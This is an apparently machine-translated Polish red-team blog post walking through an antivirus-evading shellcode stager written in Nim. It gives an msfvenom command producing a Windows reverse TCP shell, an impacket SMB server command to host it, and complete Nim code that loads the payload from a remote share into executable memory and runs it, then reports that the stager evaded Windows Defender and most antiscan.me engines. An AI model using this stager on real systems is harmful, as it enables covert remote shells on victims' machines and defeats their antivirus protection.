Tworzenie stagera SMB w Nim

Nov 24 2022
Witam wszystkich Czerwonych Drużynowców. Niedawno zacząłem kontaktować się z Nim w sprawie ofensywnego kodowania.

Witam wszystkich Czerwonych Drużynowców. Niedawno zacząłem kontaktować się z Nim w sprawie ofensywnego kodowania. Szczerze mówiąc, wydaje mi się to trudne i dziwne, ale DZIAŁA!

Dzisiaj opracowujemy prosty stager SMB, z pominięciem Windows Defender w czasie testowania.

Jeśli wolisz oglądać wideo zamiast czytać, pełny film można znaleźć tutaj:https://youtu.be/qq-S2syksL0

Ponadto, jeśli jesteś zainteresowany dołączeniem do otwartego Discorda w celu dzielenia się wiedzą i doświadczeniem w zakresie cyberbezpieczeństwa, zapraszamy:https://discord.gg/dWCe5ZMvtQ

Chodźmy

Teoria jest dość prosta, chodzi o to, aby uniknąć zapisywania kodu powłoki do pliku, omijając wykrywanie oparte na sygnaturach, jednocześnie pomagając w heurystyce. Początkowo próbowałem pobrać kod powłoki za pomocą HTTP, ale natknąłem się na wiele problemów, których nie byłem w stanie samodzielnie rozwiązać. Potem nieco zmieniła się metodologia. Zamiast pobierać go z HTTP, ładunek będzie hostowany w udziale SMB i stamtąd będzie bezpośrednio odczytywany.

Użyłem bezstopniowego ładunku msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Po pierwsze, musimy zaimportować bibliotekę jądra systemu Windows, umożliwiającą nam wywoływanie interfejsów API systemu Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Czas testowania!

Wykonałem 2 testy. Pierwszy dotyczy klienta Windows 10 z WŁĄCZONYM i URUCHAMIANYM programem Defender. Drugi jest przeciwko interfejsowi antiscan.me.

Nim Stager kontra Windows Defender

Test 1 rozpoczyna się od upuszczenia stagera do systemu plików. Jak dotąd nic nie jest uruchamiane, co oznacza, że ​​udało nam się obejść wykrywanie oparte na sygnaturach. Teraz biegnijmy i obserwujmy:

Stager okazał się działać dobrze, a dziwne jest to, że Defenderowi udało się uruchomić, ale to nie zabiło powłoki:

Miałem tę powłokę uruchomioną przez kilka minut i była w pełni funkcjonalna. Osobiście nie mam pojęcia, dlaczego obrońca go nie zabił, jeśli znasz odpowiedź, byłbym wdzięczny za udostępnienie.

Nim Stager kontra Antiscanme

Nie zrozumcie mnie źle, antiscanme jest świetny, ale podczas testowania stagerów tak naprawdę nie mają sposobu na przedstawienie prawidłowych wyników. Wyniki, które widzisz, są solidnie oparte na wykrywaniu opartym na sygnaturach, ponieważ nie mają możliwości pobrania rzeczywistego kodu powłoki przez sieć. Spodziewam się, że więcej dostawców AV wychwyci to podczas prawdziwych testów, ale jest to miły „pierwszy krok”.

Po przesłaniu stagera tylko 4/26 sprzedawców było w stanie go złapać.

Uważam, że ten wyzwalacz opiera się na tym, że dostawcy odczytują wywołania interfejsów API systemu Windows, co oznacza, że ​​​​traktują to jako złośliwe. Oczywiście, aby sprawdzić, co dokładnie poszło nie tak, musiałbym wykonać wiele, wiele testów. To jest moja teoria na ten moment.

Wniosek

Zabawa z Nim jest fajna, a wyniki, które osiągnęliśmy, po prostu inscenizując rzeczy, są niesamowite. Oczywiście istnieją znacznie bardziej zaawansowane techniki omijania AV, które możemy zastosować, ale będziemy to robić w przyszłości. Mam nadzieję, że uznasz te treści za przydatne i nauczysz się czegoś nowego.